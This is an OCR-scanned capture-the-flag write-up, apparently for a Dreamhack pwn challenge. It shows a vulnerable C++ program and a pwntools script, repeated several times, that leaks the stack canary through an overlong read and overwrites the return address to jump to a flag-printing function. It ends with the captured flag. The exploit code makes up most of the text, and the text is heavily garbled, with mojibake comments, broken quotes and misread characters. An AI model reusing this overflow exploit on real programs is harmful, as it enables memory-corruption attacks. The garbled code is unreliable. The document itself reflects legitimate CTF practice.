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. ‘ . censored_chall.cpp

int main() {
char a[1e00];
while (1) {
read(@, a, 130); /] LHEER
printf("%s\nconfirm(o/x)", a); // %s = 7}Lt2| leak
read(@, check, 2);
if (check[@]=="0") {
checkway(a[1]);
return 0;
}
else if (check[@]=="x") {
printf("one more chance");
}
else if (check[@]=="g"') {
cout<<"gg?";
return 0;

}

memset(a, @, sizeof(a));

void checkway(char b){
if (b=='a' && 1==0)
correctgranjul();
}
void correctgranjul()
{ cout<<"flag: DH{...}"; } // ©x4013c0
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000 ex. py

from pwn import *

remote('host3.dreamhack.games', 12100)
ELF('./chall")

m T
] l

# 1) 7tLtE| leak

p.send(b'A'*105)
p.recvuntil(b'A'*105)

canary = u64(b'\x00' + p.recv(7))

#2) x €Y -> ot O I}
p.recvuntil(b'(o/x)")
p.sendline(b'x")

or

# 3) HO|ZEEZ 2[H FA& HY|

payload = b'A'*104

payload += p64(canary)

payload += b'B'*8

payload += p64(0x4013c0)
p.sendlineafter(b'---...\n', payload)

#4) g Y= -> flag
p.recvuntil(b’'(o/x)")
p.sendline(b'g")
print(p.recvall(timeout=2))



from pwn import *

remote('host3.dreamhack.games', 12100)
ELF('./chall')
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# 1) 7tLi2[ leak

p.send(b'A'*105)
p.recvuntil(b'A'*105)

canary = u64(b'\x00' + p.recv(7))

#2) x 24 > ot O ¥ Tts
p.recvuntil(b' (o/x)")
p.sendline(b'x")

# 3) HO|2EZ 2[H & HY|

payload = b'A'*104

payload += p64(canary)

payload += b'B'*8

payload += p64(0x4013c0)
p.sendlineafter(b'---...\n', payload)

#4) g €8 -> flag
p.recvuntil(b’'(o/x)")
p.sendline(b'g")
print(p.recvall(timeout=2))



from pwn import *

remote('host3.dreamhack.games', 12100)
ELF('./chall") by
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# 1) 7tLtE| leak

p.send(b'A'*105)
p.recvuntil(b'A'*105)

canary = u64(b'\x00' + p.recv(7))

#2) x 28 -> 7|3 oF & O
p.recvuntil(b'(o/x)")
p.sendline(b'x")

# 3) HO|=2E2 Z|H =& HY
payload = b'A'*104
payload += p64(canary)

payload += b'B"'*8 # rbp
payload += p64(0x4013c0)
p.sendlineafter(b'---...\n", payload)

#4) g €8 -> flag
p.recvuntil(b'(o/x)")
p.sendline(b'g")
print(p.recvall(timeout=2))
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from pwn import *

remote('host3.dreamhack.games', 12100)
ELF('./chall") g &3 > return 0> 02| 20 = 2| E T2 (correctgranjul)

BRI EH

m O
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# 1) 7tLtE| leak
p.send(b'A'*105)
p.recvuntil(b'A'*105)
canary = u64(b'\x00' + p.recv(7))
2 H| =l St flag

#2) x 48 > 7|5 3t M
p.recvuntil(b' (o/x)")

p.sendline(b'x") b'g\n'

[+] Receiving all data: Done (5@B)
# 3) HO|ZEZ Z|EH FA H7| [DEBUG] Received ©x32 bytes:
payload = b'A'*104 b'gg?flag: DH{lets check deck3rfile n B granjul-3d}\n’
payload += p64(canary) [*] Closed connection to host3.dreamhack.games port 12100
payload += b'B'*8 b'gg?flag: DH{lets check deck3rfile n B grAnjul-3d}\n’
payload += p64(0x4013c0)
p.sendlineafter(b'---...\n", payload)

#4) g Y= -> flag
p.recvuntil(b’'(o/x)")
p.sendline(b'g")
print(p.recvall(timeout=2))






